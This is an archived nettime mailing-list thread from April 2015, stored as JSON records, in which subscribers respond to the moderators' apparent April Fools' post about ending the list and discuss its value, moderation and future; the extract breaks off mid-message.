                        "content": "sad if true - very. I've been a sleeper for too long but have always relied on being able to access nettime since, what, sometime in the 90s.\nyes email is slower, but speed and brevity are not the only virtues, or youth the only time for considering the difference between shit and diamond, a distinction that the list has been fine tuned to for its several years. If indeed it's to go, many thanks to ted and felix; if there are relay runners ready for the baton, more power to them; and if anyone knows of places where a pace between the blinking of twitter and the geological pace of journals allows considered response to urgent issues, please post\n\nSean Cubitt\nProfessor of Film and Television; Co-Head, Department of Media and Communications\nGoldsmiths, University of London, New Cross, London SE14 6NW\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00017",
                        "date": "Thu, 2 Apr 2015 10:40:49 +0000",
                        "to": "\"<nettime-l {AT} mail.kein.org>\" <nettime-l {AT} mail.kein.org>",
                        "message-id": "a595b0c3785910d419e58d8be6c84021 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00017.html",
                        "content-type": "text/plai",
                        "author_name": "Sean Cubitt",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "lincoln dahlberg <l.j.dahlberg {AT} xtra.co.nz>",
                        "content": "Yes, nice April fools joke, nice parody of the type of cool kids, tech-determinist, change celebration, fast-capitalism, rhetoric not only hegemonizing the tech sector and pop culture but also colonizing much pseudo-critical media studies discourse.\u00c2 \n\ne.g. \n>\u00c2 \"It's slow -- sometimes slower\nthan a mailed letter would be, at this point. It takes time to read\nand write. And there's no images, no video, no memes, no numbers,\nstats or ranks, no friends or followers -- in short, there's not much\nto like about it. \n\n.... Hasn't everyone else moved on to the post-digital? 'Posttime,' anyone?\"\nBut now that its after April 1st, its (net)time to tell everyone its: \"April fools\"?\n\nI look forward to many more years of slow reading and thoughtful deliberation...thank you to all,\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                        "id": "00018",
                        "date": "Thu, 2 Apr 2015 02:37:05 +0000 (UTC)",
                        "to": "Armin Medosch <armin {AT} easynet.co.uk>,",
                        "message-id": "0f20bcdc92d644aee032de1dec586f1e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00018.html",
                        "content-type": "text/plai",
                        "author_name": "lincoln dahlberg",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Tapas Ray <tapasrayx {AT} gmail.com>",
                        "content": "\n\nHeartfelt thanks toTed Byfield and Felix Stalder.\n\nTapas\n\n\nOn Wednesday 01 April 2015 11:05 AM, nettime mod squad wrote:\n\n",
                        "id": "00020",
                        "date": "Thu, 02 Apr 2015 18:20:44 +0530",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "3b81cca8b922a788338d3334144aefc8 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00020.html",
                        "content-type": "text/plai",
                        "author_name": "Tapas Ray",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "\"Rachel O' Dwyer\" <rachel.odwyer {AT} gmail.com>",
                        "content": "I was really sad to read this. I really value the nettime list. I\ncan't think of another forum that allows me to connect to these issues\non a daily basis. I can't think of another group that I subscribe to\nthat has the same depth of discussion. That's not to say that these\ngroup discussions and community dynamics are never problematic, but\nwhen is it ever otherwise?\n\nI'm not sure if I've ever contributed anything to nettime myself, but\nI'm a reader; I pay attention to these threads in my inbox and they\nprovide a welcome critical heft in the middle of other lists populated\nby calls for conference papers and e-mails calling me to action on\navaaz or Loomio :)\n\nPart of what I like is that the discussions use plain text; they\naren't restricted to 140 characters or punctuated by rich media.\nSurely the fact that they take this very simple form is what has\nallowed the list to progress and endure? And also what makes it\npotentially open to change or flexibility in the future?\n\nOn Thu, Apr 2, 2015 at 11:05 AM, Alex Foti <alex.foti {AT} gmail.com> wrote:\n\n> shit, and i thought i was astute because i had fooled my 13-year old\n> daughter into believing they had captured somebody from isis in the\n> neighborhood.. you got me really sad in fact. is it true or not? fuck\n> i agree with the guy (yes always guys..) who said that it's the only\n> place you get cool, orginal shit on whatever the whole time. i mean\n> let's not commit suicide, the world is already hard as it is to brave\n> it without nettime!\n>\n> april's fool born in april\n <...>\n\n-- \nopenhere.data.ie\n#openhere\n\n+353 (1) 896 8443\n+353 (85) 7023779\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00021",
                        "date": "Thu, 2 Apr 2015 14:46:01 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "a61a7b33535fedc0d04a75e7031ec665 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00021.html",
                        "content-type": "text/plai",
                        "author_name": "Rachel O' Dwyer",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "David Garica <d.garcia {AT} new-tactical-research.co.uk>",
                        "content": "Brilliant- I don't for a moment accept that it was a simple April \nFool. It was deadly serious. But still on April 1st Ted & Felix found \nthe only legitimate way to break the golden rule of Nettime: no meta \ndiscussions!\n\nAlongside skilful and authoritative moderation the no meta-discussion \nrule was one of the principal secrets of Nettime's longevity helping \nto avoid destructive inward spirals that had destroyed many earlier \non-line forums. So by threatening to pull the plug the meta-discussion \ngenie has jumped out of the bottle. So now what ? Will it prove to have \nbeen the 'suicide pill' or the risky surgical intervention required to \nrevive the comatose patient?\n\nThe answers to Modsquad's painfully forensic critique (ouch) lie in \nour hands. So lets put some concrete propositions on the table, before \nhastily reinstating the golden rule.\n\nHeres a starting pint; it may just be coincidence but I would say that \nthe list was most vibrant when nettime people found ways to get together \nin person, spending days together in inspiring and strange locations. \nEither connecting to festivals or conferences or off its own bat. So for \nat least one more time (and hopefully more) lets revive this lost part \nof the original model? In the original post the Mods referred to a \nBucharest 20th birthday plan that didn't fly. Well maybe we should put \nsome other scenarios on the table. I am sure there are many places that \nwould happily host this. I have some thoughts on how this might look but \nas usual they are hopelessly Amsterdam centric... I am happy to report \n(I am sitting there now busily \"anthologising\") that a new generation \nof uncynical people and possibilities are emerging from the ruins and \ndemonstrating the resilience of this culture. But of course thats just \nmy historical bias I'd happily travel to pastures new.\n\nOne other thought though there is much talk of 'sharing' nettime \nwriters used to share (and risk) far more. I may be mistaken but as the \ncommunity (dangerous word) and its discourse has developed it has also \nprofessionalised and not always in a good way. Where once writers would \nhave rehearsed their ideas here in rough form I suspect that the \npressures around academic/publishing commodification creates a greater a \nreluctance expose the ideas before publication. Could this be why it \nfeels a less risky, energetic and generous space or am I (as usual) \nbeing nostalgic.\n\nThank you to you Modsquad\n\nDavid Garcia\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00022",
                        "date": "Thu, 2 Apr 2015 17:07:09 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "feaa9ef6c2de544bf4f2b5f8a47157d1 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00022.html",
                        "content-type": "text/plai",
                        "author_name": "David Garica",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "in <ignacio.nieto {AT} ug.uchile.cl>",
                        "content": "\nHi from Chile\n\n",
                        "id": "00023",
                        "date": "Thu, 02 Apr 2015 12:17:53 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "42cb14d87294a62b8b382948ff942e10 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00023.html",
                        "content-type": "text/plai",
                        "author_name": "in",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "\"t byfield\" <tbyfield {AT} panix.com>",
                        "content": "\n\n",
                        "id": "00024",
                        "date": "Thu, 02 Apr 2015 12:33:46 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "04326c08ca22daf547afd13cd752ff08 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00024.html",
                        "content-type": "text/plai",
                        "author_name": "t byfield",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "\"Lunenfeld, Peter B.\" <lunenfeld {AT} arts.ucla.edu>",
                        "content": "Dear Ted and Felix --\n\nI read your announcement yesterday and have been trying to figure out\nhow to respond. I have discovered yet another 21st century mental\nmalady, which I'll call FOMO(OS): Fear of Missing Out on Sadness. Others\nhave already posted their appreciation for your moderating (which I\nsecond), their regrets about not being as active as they used to be\n(ditto for me), and Brian even used the corner bar metaphor that I'd\nbeen noodling with. \n\nAll I can say is that nettime was a huge part of my intellectual life\nearly on, and that I've appreciated the list and your efforts even as I\nmoved from regular poster to constant reader. Just recently, I\nappreciated all of the interesting discourses about money,\nneo-liberalization and Bitcoins, areas I'm not writing about myself, but\nthat obviously inform the worlds we live in. \n\nAs for the issues about a text only list serve, it may be a generational\npreference, but nettime offered (offers?) a place for the long-form\nargument to thrive, a venue to try out ideas beyond listicles without\nthe clutter of gifs and banner ads, and the distractions of endless\ninternal links, so that one could actually read another's thoughts and\nattempt to grapple with them. The process of reading nettime nurtured\nwas neither elitist nor vanguardist, it came from and contributed to a\nlong and distinguished tradition of thoughtful argumentation, and yes,\nthe buildings of communities, from Republics of Letters to Empyres of\nEmail. So, whatever happens, thanks for keeping this list going for so\nmany years, and for encouraging others to contemplate what it means to\nthem and how nettime or its successors might thrive.\n\nBest --\n\nPeter Lunenfeld, Professor & Vice Chair\nUCLA Design Media Arts\nhttp://www.peterlunenfeld.com\nhttp://dma.ucla.edu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00027",
                        "date": "Thu, 2 Apr 2015 17:59:35 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "1fe89cabfcd7db8ed2b034f6e4ead291 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00027.html",
                        "content-type": "text/plai",
                        "author_name": "Lunenfeld, Peter B.",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "\n\n",
                        "id": "00028",
                        "date": "Thu, 02 Apr 2015 11:59:04 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "f6000ce100a6b138330d19632aa0e203 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00028.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Lennaart van Oldenborgh <lennaart {AT} hofilms.co.uk>",
                        "content": "\nDear mod squad\n\n> First, nettime isn't shutting down.\n\nphew I was close to going into grieving mode - although I'm very much a lurker and only an occasional poster nettime has always been an intellectual touchstone for me and a welcome bit of brain stimulus in my not very academic and sometimes mindnumbing daily existence.\n\n> Moderating is snippets of time scattered across the day, there's nothing especially heroic or monumental about it.\n\nFrankly that's exactly what's heroic about it - it's so much easier to make a grand gesture and so much harder to keep up a daily grind - so I'd like to chime in with the richly deserved chorus of thanks to Ted and Felix.\n\nI don't agree with the diagnosis that this patient is 'comatose' - it's still the most thoughtful and honest net-critical platform that I know of even if the shiny novelty has worn off a bit.  But these things can be very cyclical - what looks a bit tired today can easily be 'rediscovered' tomorrow and appreciated all the more for its retro integrity.  Old media find new uses: vinyl has made a come back and it seems working with chemical film has become the new cool thing to do for media artists.  I know we're ageing but the worst thing to do is to try and be down with the kids like some embarrassing uncle.\n\n> And there's no images, no video, no memes, no numbers,\n> stats or ranks, no friends or followers -- in short, there's not much\n> to like about it. \nhahahaha!  like it\n\nlennaart\n\n\nLennaart van Oldenborgh\nlennaart {AT} hofilms.co.uk\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00029",
                        "date": "Thu, 2 Apr 2015 22:10:39 +0100",
                        "to": "nettime mod squad <nettime {AT} kein.org>",
                        "message-id": "782b83988a23560571320da8eb768b1d {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00029.html",
                        "content-type": "text/plai",
                        "author_name": "Lennaart van Oldenborgh",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Juergen Fenn <schneeschmelze {AT} googlemail.com>",
                        "content": "\n2015-04-02 20:59 GMT+02:00 John Hopkins <jhopkins {AT} neoscenes.net>:\n\n> nothing is forever, but I ain't gonna unsub now ... gotta go back\n> outside to finish a worm farm.\n\nThis line is apt to become another of those memes around...\n\nVery sad news, as Nettime was one of those lists I followed for such a\nlong time. I rarely posted to the list, but I kept reading it. I also\nthought at first it was an April Fool's posting, but now it seems it\nisn't.\n\nIs there anything we can to to keep Nettime alife and around?\n\nI vow not to unsubscribe, either.\n\nBest,\nJ\u00c3rgen.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                        "id": "00030",
                        "date": "Thu, 2 Apr 2015 21:17:24 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "3b74816546a2616400cff467fba9228e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00030.html",
                        "content-type": "text/plai",
                        "author_name": "Juergen Fenn",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "elix Stalder <felix {AT} openflows.com>",
                        "content": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nOn 2015-04-02 12:05, Alex Foti wrote:\n> i mean let's not commit suicide,\n\nYeah, let's not do that, not the least because, as Bifo pointed out,\nthat would be a response entirely in line with how systems works.\n\nThe initial post was neither entirely serious, nor simply a gotcha\njoke that exhausts itself through revelation. Rather, it was meant as\nway to break our own unwritten rules, as a way to open a discussion\nabout the list, on the list (as David Garcia immediately recognized).\nAnd not because there is an urgent crisis to be addressed, innovation\nto be implemented, or any other managerial goal to be reached. Nor did\nTed and I need a collected pat on the back to fight off the impending\nburn-out.\n\nNo, it was meant provoke a moment to think about something that for\nmany of us has become part of daily life. Those things tend to\ndisappear into the background, we take them for granted, assume that\nsome form of impersonal institution is taking care of it without much\nof our involvement.\n\nAnd, really, nettime is the opposite. It's fragile, has no back-up,\nand, most of all, relies nothing but good will, many criss-crossing\nfriendships, some dislikes and, beyond that, and a strange kind of\ncommunion of people who, as I far as I can tell, do not easily take to\ncommunions.\n\nSo, for me, the question is what do we want to do with this? Which\ndoes explicitly not mean, how do we want to change that? Perhaps there\nare things to chance, perhaps we do not want to chance much. The\nlatter might be a good thing, since many of the structural features\nthat are now setting nettime apart stem from the fact that we missed\nout on a lot of innovations that lead others and net culture, which is\nmainstream culture today, down the rabbit hole of frenzied, quantified\nnarcissism.\n\nIf anything this thread shows that while we are all more than aware of\nthe shortcomings, we still see value in the effort of collective\nthinking that does not lend itself to being measured, put on CVs or\notherwise made direct use of. To create and maintain something like\nthis is a real collective achievement by all of us, past and present,\nand perhaps, even future. Even if whole is perhaps more than the sum\nof its parts, it's the parts, that is the time and energy everyone is\ncontributing, both through writing and reading (which is falsely\ncalled lurking) where all of this comes from. We are encouraging you,\nthat is, us, to think of how might bend this collective effort in\nshapes more congenial to you/us. David Garcia suggested a few ways\nthat this might be done and I'm sure he missed a few too. This is not\na task that needs to be a addressed today, there is no deadline, but a\nnext week, a next month, and a next year.\n\nFelix\n\n\n\n\n\n\n- -- \n\n ||||||||||||||||||||||||||||||||| http://felix.openflows.com\n |OPEN PGP: 056C E7D3 9B25 CAE1 336D 6D2F 0BBB 5B95 0C9F F2AC\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v2\n\niQEcBAEBAgAGBQJVHb4sAAoJEAu7W5UMn/KsMsEH/3Ba94DuDqyEc9w50sUmcctc\nPs//mf7ZF7WLPczcorAf7Y/8flkt/SYq20zxRdxP65K2POusZAr2TIj05DNBJ0mE\nh0o12CnyJb9ivnXmRtR9/5fx4aUMMbMv/DTEwP4336imBdHgEhCy43gKhSBgNCnF\no/BWsc5p6jRrWMnltETqPBh9E+bISyb86wOTo82bYOScm2ztwuhhvdfGIixls8wl\nvFVI8dqHAV1i3KuRACtzTvvq1nIR4o1sozjtH3txn0k0po8zT99SFT/c7MeRTZwb\nGdPtC2Zfr4GTixi2SEPW1tYnlElgP+z/cCvr+DeeP3v8pb7ladNxVAqfrcli4ec=\n=JAHs\n-----END PGP SIGNATURE-----\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00031",
                        "date": "Fri, 03 Apr 2015 00:09:48 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "310a5c35cc4790c0fc50bbda1e320c7b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00031.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "{ brad brace } <bbrace {AT} eskimo.com>",
                        "content": "amazing that there is any accolade whatsoever for this\ninstitutionalised censorship! give us less of what you think\nwe might read! how nice to be sheltered from unwanted\nintrusion into your comfy institutionally-sponsored lives!\npack o' lies dies\n\nYou cannot politically defy the institutions when all you really wanted was to be\nclasped to their bosoms and hope in time to be cherished under the very framework of\noppressive values you are thinking of overcoming. That would be co-optation,\nrevolution only in the sense of a circulation of elites rather than the extirpation of\nthe very impulses of elitism. Society is like a stew; if you don't stir things up\nevery once in a while then a layer of scum floats to the top.\n\nTo subscribe to 12-list, simply send a message with the word \"subscribe\" in the\nSubject: field to 12-list-request {AT} eskimo.com\n\nTo unsubscribe from 12-list, simply send a message with the word \"unsubscribe\" in\nthe Subject: field to 12-list-request {AT} eskimo.com\n\nOn Thu, 2 Apr 2015, John Hopkins wrote:\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00032",
                        "date": "Thu, 2 Apr 2015 13:25:31 -0700 (PDT)",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "990a11f6285a6a18ff6e6dabd95a9a10 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00032.html",
                        "content-type": "text/plai",
                        "author_name": "{ brad brace }",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Aliette GC <guibertc {AT} criticalsecret.com>",
                        "content": "   Hello friends and comrades! Interesting thread... first I was\n   threatened since reading told us that something beautiful could stop\n   once again, like so much beautiful things lost nowadays. But I\n   understood what and why Felix and Ted called us to think and discuss.\n   I do not publish mostly time because I write hard and wrong into\n   english  but I read the posts, it is important to feel what the\n   redactors resent and think in matter of  analysis and as projects, in\n   this chaotic moment. This free server list since so much year it is a\n   chance. A chance so much universal and so much singular a track from\n   the late XXth century. Mostly a chance such as criticical acts at the\n   moment the social networks are not anymore our media.  Please do not\n   put it in the trash bin... Let it live if you can dear mods, and with\n   us too. I pay tribute to Geert, Pit, Felix, and Ted.\n   Aliette Louise\n\n   On 3 April 2015 at 00:09, Felix Stalder <felix {AT} openflows.com> wrote:\n\n     -----BEGIN PGP SIGNED MESSAGE-----\n     Hash: SHA1\n     On 2015-04-02 12:05, Alex Foti wrote:\n     > i mean let's not commit suicide,\n     Yeah, let's not do that, not the least because, as Bifo pointed out,\n     that would be a response entirely in line with how systems works.\n     The initial post was neither entirely serious, nor simply a gotcha\n     joke that exhausts itself through revelation. Rather, it was meant as\n     way to break our own unwritten rules, as a way to open a discussion\n     about the list, on the list (as David Garcia immediately recognized).\n <...>\n\n\n   --\n   http://www.criticalsecret.com\n   http://www.criticalsecret.net\n   http://www.criticalsecret.org\n   http://www.lanuithenight.com/\n   Newsletter :\n   https://mail.bek.no/mailman/listinfo/criticalsecret_information\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00034",
                        "date": "Fri, 3 Apr 2015 02:02:23 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "d3d146194f0f7aec465f735bf18a2916 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00034.html",
                        "content-type": "text/plai",
                        "author_name": "Aliette GC",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Alan Sondheim <sondheim {AT} panix.com>",
                        "content": "\n\n- Alan\n\n\n==\nemail archive http://sondheim.rupamsunyata.org/\nweb http://www.alansondheim.org / cell 718-813-3285\nmusic: http://www.espdisk.com/alansondheim/\ncurrent text http://www.alansondheim.org/td.txt\n==\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00035",
                        "date": "Thu, 2 Apr 2015 23:22:55 -0400 (EDT)",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "e88edc1dcb03981229fad9188961bb77 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00035.html",
                        "content-type": "text/plai",
                        "author_name": "Alan Sondheim",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Ian Milliss <ian {AT} milliss.com>",
                        "content": "\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00036",
                        "date": "Fri, 03 Apr 2015 13:40:18 +1100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "d0bbd018390898e1fadba531bc2f3d6d {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00036.html",
                        "content-type": "text/plai",
                        "author_name": "Ian Milliss",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "\nHei Brad -\n\n",
                        "id": "00037",
                        "date": "Thu, 02 Apr 2015 16:21:20 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "042b0eddb043b93d93fa41d7f64990f4 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00037.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Nick <nettime {AT} njw.me.uk>",
                        "content": "Quoth David Garica: \n\n> One other thought though there is much talk of 'sharing' nettime \n> writers used to share (and risk) far more. I may be mistaken but as the \n> community (dangerous word) and its discourse has developed it has also \n> professionalised and not always in a good way. Where once writers would \n> have rehearsed their ideas here in rough form I suspect that the \n> pressures around academic/publishing commodification creates a greater a \n> reluctance expose the ideas before publication. Could this be why it \n> feels a less risky, energetic and generous space or am I (as usual) \n> being nostalgic.\n\nI'd guess this is mostly due to it being archived and easily \nsearchable. I certainly find it harder to take risks and admit \nvulnerablility in such an environment. Though archiving and \nsearchability are certainly useful. One answer is pseudonymity, but \nthat brings its own limitations.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00038",
                        "date": "Fri, 3 Apr 2015 12:09:16 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "c79f844adc1f72b9f2429a0263216f95 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1504/msg00038.html",
                        "content-type": "text/plai",
                        "author_name": "Nick",
                        "subject": "Re: <nettime> nottime: the end of nettim"
                    },
                    {
                        "from": "Eric Kluitenberg <epk {AT} xs4all.nl>",
                        "content": "   dear nettimers,\n\n   So, nettime is not, for the moment going to disappear, and I'm for one\n   quite happy about that. I feel ambivalent though about the way in which\n   the issue of 'taking stock' of the current substance (or lack thereof)\n   of the list and its extended constituency (to avoid the overused term\n   `community') has been raised.\n\n   For me the greatest quality of nettime is its continuity and continued\n   presence, with all its defects and shortcomings, but still. And this is\n   in no small part due to the continued efforts of Ted and Felix keeping\n   this edifice alive and dragging it through extended periods of\n   sluggishness. I used the word `monumental' in a private mail to Ted the\n   other day (off-list) and saw that he already integrated it in his\n   recent negation of all the shoulder patting rumbling through the ascii\n   flows...\n\n   Well OK let's move on then.\n\n   I think there are a number of issues that need to be unpicked from this\n   `intervention' that require some reflexion and possibly also some\n   actions to follow up on.\n\n   First an uneasy one that so far only Ted dared address (yesterday):\n   ownership of the list and what extends from it - Ted and Felix don't\n   know if they could, or have the `right', to close this list down even\n   if they wanted to - despite their extremely extended `stewardship' of\n   the whole affair. And Ted's right - I don't think that this list and\n   what it extends into is or should be / can be `owned' by anyone, and\n   therefore nobody in particular has the right to shut it down. Still,\n   things need to be maintained, both technically, editorially and as a\n   living social entity - all that doesn't happen by itself and if the\n   extended constituency would not find somehow a solution for it the\n   thing would in effect disappear if Ted and Felix stopped taking care of\n   things.\n\n   That's an unresolved dilemma that afflicts many of such invaluable not\n   for profit / not for glory enterprises - a bit of `crowd funding' will\n   not solve this. David Garcia is talking about `resilience' instead of\n   that other overused term 'sustainability', but we don't know exactly\n   how to organise this beyond personal sacrifice (sacrificial labour is a\n   more apt term here than `affective'). That's an important one for our\n   list - how to solve this (not just for nettime)?\n\n   But then there are a whole bunch of specific issues lumped together in\n   the original posting that should in fact be taken separately, I think,\n   before we make a judgement about the larger whole. I've copied the\n   paragraph again at the bottom of this message.\n\n   So let's unpick:\n\n   - the summer of the internet is over: that is in itself already a\n   question whether or not this moment and its momentum is over? I\n   actually don't really think so, but it has become a much more\n   complicated space of activity to get to grips with - the walled gardens\n   of (anti-) `social' networking platforms (that everybody nonetheless\n   seems to flock to, so where are the alternatives that are so unlike the\n   corporate mainstream?). The revelation that the control society was\n   every bit as bad as we had imagined it in our worst nightmares... The\n   sad fact that the massive participation in online media and\n   self-mediation has not by itself and of itself lead to a more open,\n   democratic, equitable society (or should we say `collective'?).\n\n   - the former `East' for the most part does not exist anymore - it is\n   now rather a vanguard for political experiments that set a tone for\n   much of Europe to follow. What was still termed `enduring\n   post-communism' during Next 5 Minutes 4, back in 2003, now really seems\n   to have come to an end. The rise of chauvinist authoritarianism voted\n   into power in Hungary is not so much a regression to the past as it is\n   a prefiguration of a future we must desperately try to avoid.\n\n   - that we have so little reports and discussions about what is\n   happening on Russia's borders is actually hardly a surprise. The only\n   ones who could offer us a genuinely interesting perspective on what is\n   going on are the ones inside Russia, who live that situation. But they\n   will not speak out in public - it's too dangerous. Do it and not only\n   will you put your own life at risk (think of Oleg Kyreev's so-called\n   'suicide' after openly supporting the idea of an orange revolution in\n   Russia - we will never forget that!), but also the livelihood of your\n   friends and family (losing jobs, benefits, housing, opportunities) -\n   this is all very real and the last thing you will do when in such a\n   situation is speak out in public (archived for eternity). No wonder\n   there's no voices on this list that could enlighten us. We are very\n   much back to the good old days of `Kremlin-watchers' who attempt 